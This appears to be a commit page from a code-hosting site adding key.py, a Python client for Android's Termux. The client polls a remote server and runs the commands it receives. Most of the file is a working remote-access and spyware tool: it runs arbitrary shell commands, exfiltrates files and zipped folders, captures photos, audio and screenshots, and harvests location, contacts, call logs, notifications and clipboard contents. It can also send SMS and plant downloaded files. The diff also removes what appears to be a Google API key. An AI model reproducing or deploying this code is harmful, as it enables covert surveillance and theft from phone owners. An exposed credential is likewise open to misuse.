Aleksmorshen commited on
Commit
aaf7f5e
·
verified ·
1 Parent(s): e617494

Rename key.txt to key.py

Browse files
Files changed (2) hide show
  1. key.py +355 -0
  2. key.txt +0 -1
key.py ADDED
@@ -0,0 +1,355 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import requests
2
+ import json
3
+ import time
4
+ import subprocess
5
+ import os
6
+ import shutil
7
+ import base64
8
+ import random
9
+ from urllib.parse import urljoin
10
+
11
+ # ЗАМЕНИТЬ ЭТУ СТРОКУ НА СВОЙ АДРЕС СЕРВЕРА
12
+ SERVER_URL = "https://aleksmorshen-contrem2.hf.space"
13
+ # ВАЖНО: Убедись, что Termux имеет доступ к памяти устройства: termux-setup-storage
14
+ # Termux API: pkg install termux-api
15
+
16
+ CURRENT_PATH = os.path.expanduser('~')
17
+ TEMP_DIR = os.path.join(os.path.expanduser('~'), ".tmp_cc")
18
+ os.makedirs(TEMP_DIR, exist_ok=True)
19
+
20
+ def send_data(endpoint, data):
21
+ try:
22
+ url = urljoin(SERVER_URL, endpoint)
23
+ r = requests.post(url, json=data, timeout=10)
24
+ return r.json()
25
+ except requests.exceptions.RequestException as e:
26
+ return None
27
+
28
+ def send_file(filename, file_path, is_preview=False):
29
+ try:
30
+ url = urljoin(SERVER_URL, "/upload_from_client")
31
+ with open(file_path, 'rb') as f:
32
+ files = {'file': (filename, f)}
33
+ data = {'is_preview': 'true' if is_preview else 'false'}
34
+ r = requests.post(url, files=files, data=data, timeout=60)
35
+ return r.json()
36
+ except Exception as e:
37
+ return {'status': 'error', 'message': str(e)}
38
+ finally:
39
+ # Очистка временного файла
40
+ if file_path.startswith(TEMP_DIR) and os.path.exists(file_path):
41
+ os.remove(file_path)
42
+
43
+ def get_command():
44
+ try:
45
+ url = urljoin(SERVER_URL, "/get_command")
46
+ r = requests.get(url, timeout=10)
47
+ if r.status_code == 200 and r.text:
48
+ return r.json()
49
+ return None
50
+ except requests.exceptions.RequestException:
51
+ return None
52
+
53
+ def execute_shell(command):
54
+ try:
55
+ result = subprocess.run(command, shell=True, capture_output=True, text=True, cwd=CURRENT_PATH, timeout=30)
56
+ output = result.stdout + result.stderr
57
+ return output if output else "Команда выполнена успешно, но нет вывода."
58
+ except subprocess.TimeoutExpired:
59
+ return "Ошибка: Команда превысила время ожидания (30 сек)."
60
+ except Exception as e:
61
+ return f"Ошибка выполнения команды: {e}"
62
+
63
+ def list_files(path):
64
+ global CURRENT_PATH
65
+ try:
66
+ if path == '~':
67
+ new_path = os.path.expanduser('~')
68
+ elif path == '/sdcard/':
69
+ new_path = '/sdcard/'
70
+ elif os.path.isabs(path):
71
+ new_path = path
72
+ else:
73
+ new_path = os.path.normpath(os.path.join(CURRENT_PATH, path))
74
+
75
+ if not os.path.exists(new_path) or not os.path.isdir(new_path):
76
+ return f"Ошибка: Директория не найдена или недоступна: {new_path}"
77
+
78
+ CURRENT_PATH = new_path
79
+
80
+ file_list = []
81
+ for item in os.listdir(CURRENT_PATH):
82
+ full_path = os.path.join(CURRENT_PATH, item)
83
+ item_type = "[D]" if os.path.isdir(full_path) else "[F]"
84
+ file_list.append(f"{item_type} {item}")
85
+
86
+ output = "Содержимое директории:\n" + "\n".join(file_list)
87
+ return output
88
+ except Exception as e:
89
+ return f"Ошибка при просмотре файлов: {e}"
90
+
91
+ def handle_upload_request(filename, is_preview=False):
92
+ target_file_path = os.path.join(CURRENT_PATH, filename)
93
+ if not os.path.exists(target_file_path):
94
+ return f"Ошибка: Файл '{filename}' не найден на устройстве."
95
+
96
+ unique_filename = f"{int(time.time())}_{filename}"
97
+
98
+ result = send_file(unique_filename, target_file_path, is_preview)
99
+
100
+ if result and result.get('status') == 'success':
101
+ if is_preview:
102
+ # Отправка дополнительного сигнала о готовности предпросмотра
103
+ send_data("/submit_client_data", {
104
+ "preview_file": result.get('filename'),
105
+ "mimetype": result.get('mimetype')
106
+ })
107
+ return f"Файл '{filename}' отправлен на сервер для предпросмотра."
108
+ else:
109
+ return f"Файл '{filename}' успешно загружен на сервер."
110
+ else:
111
+ return f"Ошибка загрузки файла на сервер: {result.get('message', 'Неизвестная ошибка')}"
112
+
113
+ def handle_zip_and_upload(path):
114
+ target_path = os.path.join(CURRENT_PATH, path)
115
+ if not os.path.isdir(target_path):
116
+ return f"Ошибка: Директория не найдена или недоступна: {target_path}"
117
+
118
+ archive_name = os.path.basename(target_path)
119
+ zip_path = os.path.join(TEMP_DIR, f"{archive_name}_{int(time.time())}.zip")
120
+
121
+ try:
122
+ shutil.make_archive(zip_path.replace(".zip", ""), 'zip', target_path)
123
+
124
+ filename = os.path.basename(zip_path)
125
+ result = send_file(filename, zip_path)
126
+
127
+ if result and result.get('status') == 'success':
128
+ return f"Директория '{archive_name}' архивирована и успешно загружена на сервер как '{filename}'."
129
+ else:
130
+ return f"Ошибка загрузки архива на сервер: {result.get('message', 'Неизвестная ошибка')}"
131
+ except Exception as e:
132
+ return f"Ошибка архивации: {e}"
133
+ finally:
134
+ if os.path.exists(zip_path):
135
+ os.remove(zip_path)
136
+
137
+ def handle_file_receive(command):
138
+ download_url = command.get('download_url')
139
+ target_path = command.get('target_path')
140
+ original_filename = command.get('original_filename')
141
+
142
+ if not download_url or not target_path:
143
+ return "Ошибка: Неверные данные для получения файла."
144
+
145
+ try:
146
+ r = requests.get(download_url, stream=True, timeout=60)
147
+ r.raise_for_status()
148
+
149
+ if target_path.endswith('/') or target_path.endswith('\\'):
150
+ final_path = os.path.join(target_path, original_filename)
151
+ else:
152
+ final_path = target_path
153
+
154
+ # Убедимся, что директория существует
155
+ os.makedirs(os.path.dirname(final_path), exist_ok=True)
156
+
157
+ with open(final_path, 'wb') as f:
158
+ for chunk in r.iter_content(chunk_size=8192):
159
+ f.write(chunk)
160
+
161
+ return f"Файл успешно скачан и сохранен в: {final_path}"
162
+ except requests.exceptions.RequestException as e:
163
+ return f"Ошибка скачивания: {e}"
164
+ except Exception as e:
165
+ return f"Ошибка сохранения файла: {e}"
166
+
167
+ def run_termux_api(command, *args):
168
+ try:
169
+ cmd = [command] + list(args)
170
+ result = subprocess.run(cmd, capture_output=True, text=True, timeout=20)
171
+ return result.stdout.strip(), result.stderr.strip(), result.returncode
172
+ except FileNotFoundError:
173
+ return "", "Ошибка: Termux API не установлен.", 1
174
+ except Exception as e:
175
+ return "", str(e), 1
176
+
177
+ def handle_media_command(cmd_type, command):
178
+ if cmd_type == 'take_photo':
179
+ temp_file = os.path.join(TEMP_DIR, f"photo_{int(time.time())}.jpg")
180
+ camera_id = command.get('camera_id', '0')
181
+ _, err, code = run_termux_api("termux-camera-photo", "-c", camera_id, temp_file)
182
+ if code == 0:
183
+ return handle_upload_request(os.path.basename(temp_file), is_preview=False)
184
+ return f"Ошибка фото: {err}"
185
+
186
+ elif cmd_type == 'record_audio':
187
+ duration = command.get('duration', '5')
188
+ temp_file = os.path.join(TEMP_DIR, f"audio_{int(time.time())}.mp3")
189
+ _, err, code = run_termux_api("termux-microphone-record", "-f", temp_file, "-l", duration)
190
+ if code == 0:
191
+ # Ожидаем завершения записи, хотя API должен блокировать
192
+ time.sleep(int(duration) + 1)
193
+ return handle_upload_request(os.path.basename(temp_file), is_preview=False)
194
+ return f"Ошибка аудио: {err}"
195
+
196
+ elif cmd_type == 'screenshot':
197
+ temp_file = os.path.join(TEMP_DIR, f"screenshot_{int(time.time())}.png")
198
+ _, err, code = run_termux_api("termux-screenshot", "-f", temp_file)
199
+ if code == 0:
200
+ return handle_upload_request(os.path.basename(temp_file), is_preview=False)
201
+ return f"Ошибка скриншота: {err}"
202
+
203
+ return f"Неизвестная медиа-команда: {cmd_type}"
204
+
205
+ def get_device_status(item=None):
206
+ status = {}
207
+
208
+ if item in [None, 'battery']:
209
+ out, _, code = run_termux_api("termux-battery-status")
210
+ if code == 0:
211
+ status['battery'] = json.loads(out)
212
+
213
+ if item in [None, 'location']:
214
+ # termux-location требует gps
215
+ out, _, code = run_termux_api("termux-location", "-p", "gps")
216
+ if code == 0:
217
+ status['location'] = json.loads(out)
218
+
219
+ if item in [None, 'processes']:
220
+ # Используем стандартный Termux ps
221
+ out = execute_shell("ps -o USER,PID,PPID,VSZ,RSS,STAT,START,TIME,COMMAND")
222
+ status['processes'] = out
223
+
224
+ return status
225
+
226
+ def get_notifications():
227
+ out, _, code = run_termux_api("termux-notification-list")
228
+ if code == 0:
229
+ try:
230
+ return json.loads(out)
231
+ except json.JSONDecodeError:
232
+ return []
233
+ return []
234
+
235
+ def get_contacts():
236
+ out, _, code = run_termux_api("termux-contact-list")
237
+ if code == 0:
238
+ try:
239
+ return json.loads(out)
240
+ except json.JSONDecodeError:
241
+ return []
242
+ return []
243
+
244
+ def send_sms(number, text):
245
+ _, err, code = run_termux_api("termux-sms-send", "-n", number, text)
246
+ if code == 0:
247
+ return f"SMS отправлено на номер {number}."
248
+ return f"Ошибка отправки SMS: {err}"
249
+
250
+ def get_call_log():
251
+ out, err, code = run_termux_api("termux-call-log")
252
+ if code == 0:
253
+ return out
254
+ return f"Ошибка получения журнала звонков: {err}"
255
+
256
+ def handle_system_command(cmd_type, command):
257
+ if cmd_type == 'tts_speak':
258
+ text = command.get('text', 'Hello World')
259
+ _, err, code = run_termux_api("termux-tts-speak", text)
260
+ return "TTS: Озвучивание..." if code == 0 else f"TTS: Ошибка: {err}"
261
+ elif cmd_type == 'vibrate':
262
+ duration = command.get('duration', '1000')
263
+ _, err, code = run_termux_api("termux-vibrate", "-d", duration)
264
+ return f"Вибрация {duration}мс..." if code == 0 else f"Вибрация: Ошибка: {err}"
265
+ elif cmd_type == 'torch':
266
+ state = command.get('state', 'off')
267
+ _, err, code = run_termux_api("termux-torch", state)
268
+ return f"Фонарик {state}." if code == 0 else f"Фонарик: Ошибка: {err}"
269
+ elif cmd_type == 'get_device_info':
270
+ out, err, code = run_termux_api("termux-telephony-deviceinfo")
271
+ return out if code == 0 else f"Ошибка получения инфо: {err}"
272
+ elif cmd_type == 'get_wifi_info':
273
+ out, err, code = run_termux_api("termux-wifi-connectioninfo")
274
+ return out if code == 0 else f"Ошибка получения инфо Wi-Fi: {err}"
275
+ return f"Неизвестная системная команда: {cmd_type}"
276
+
277
+
278
+ def main_loop():
279
+ print(f"Клиент Termux запущен. Сервер: {SERVER_URL}")
280
+ while True:
281
+ try:
282
+ # 1. Отправка сердцебиения и статуса
283
+ data_to_send = {"heartbeat": True, "current_path": CURRENT_PATH}
284
+ send_data("/submit_client_data", data_to_send)
285
+
286
+ # 2. Получение команды
287
+ command = get_command()
288
+
289
+ if command:
290
+ cmd_type = command.get('type')
291
+ output = f"Выполнено: {cmd_type}"
292
+
293
+ if cmd_type == 'shell':
294
+ output = execute_shell(command.get('command'))
295
+ elif cmd_type == 'list_files':
296
+ output = list_files(command.get('path'))
297
+ elif cmd_type == 'upload_to_server':
298
+ is_preview = command.get('is_preview', False)
299
+ output = handle_upload_request(command.get('filename'), is_preview=is_preview)
300
+ elif cmd_type == 'zip_and_upload_dir':
301
+ output = handle_zip_and_upload(command.get('path'))
302
+ elif cmd_type == 'delete_file':
303
+ try:
304
+ os.remove(os.path.join(CURRENT_PATH, command.get('filename')))
305
+ output = f"Файл {command.get('filename')} удален."
306
+ except Exception as e:
307
+ output = f"Ошибка удаления: {e}"
308
+ elif cmd_type in ['take_photo', 'record_audio', 'screenshot']:
309
+ output = handle_media_command(cmd_type, command)
310
+ elif cmd_type == 'receive_file':
311
+ output = handle_file_receive(command)
312
+ elif cmd_type == 'clipboard_get':
313
+ out, err, code = run_termux_api("termux-clipboard-get")
314
+ output = f"Буфер обмена:\n{out}" if code == 0 else f"Ошибка буфера: {err}"
315
+ elif cmd_type == 'clipboard_set':
316
+ text = command.get('text', '')
317
+ _, err, code = run_termux_api("termux-clipboard-set", text)
318
+ output = "Буфер обмена установлен." if code == 0 else f"Ошибка буфера: {err}"
319
+ elif cmd_type == 'open_url':
320
+ url = command.get('url')
321
+ _, err, code = run_termux_api("termux-open-url", url)
322
+ output = f"URL {url} открыт." if code == 0 else f"Ошибка открытия URL: {err}"
323
+ elif cmd_type == 'get_device_status':
324
+ status = get_device_status(command.get('item'))
325
+ send_data("/submit_client_data", {"device_status_update": status, "output": "Статус устройства обновлен."})
326
+ continue
327
+ elif cmd_type == 'get_notifications':
328
+ notifications = get_notifications()
329
+ send_data("/submit_client_data", {"notifications_update": notifications, "output": f"Получено {len(notifications)} уведомлений."})
330
+ continue
331
+ elif cmd_type == 'get_contacts':
332
+ contacts = get_contacts()
333
+ send_data("/submit_client_data", {"contacts_update": contacts, "output": f"Получено {len(contacts)} контактов."})
334
+ continue
335
+ elif cmd_type == 'send_sms':
336
+ output = send_sms(command.get('number'), command.get('text'))
337
+ elif cmd_type == 'get_call_log':
338
+ output = get_call_log()
339
+ elif cmd_type in ['tts_speak', 'vibrate', 'torch', 'get_device_info', 'get_wifi_info']:
340
+ output = handle_system_command(cmd_type, command)
341
+ else:
342
+ output = f"Неизвестный тип команды: {cmd_type}"
343
+
344
+ # Отправка результата выполнения
345
+ send_data("/submit_client_data", {"output": output, "current_path": CURRENT_PATH})
346
+
347
+ # 3. Задержка перед следующим опросом
348
+ time.sleep(5)
349
+
350
+ except Exception as e:
351
+ print(f"Критическая ошибка в цикле: {e}")
352
+ time.sleep(10)
353
+
354
+ if __name__ == '__main__':
355
+ main_loop()
key.txt DELETED
@@ -1 +0,0 @@
1
- AIzaSyBrjdhwp8dGf8asIQxsQzTxqpMCZSo8Z_M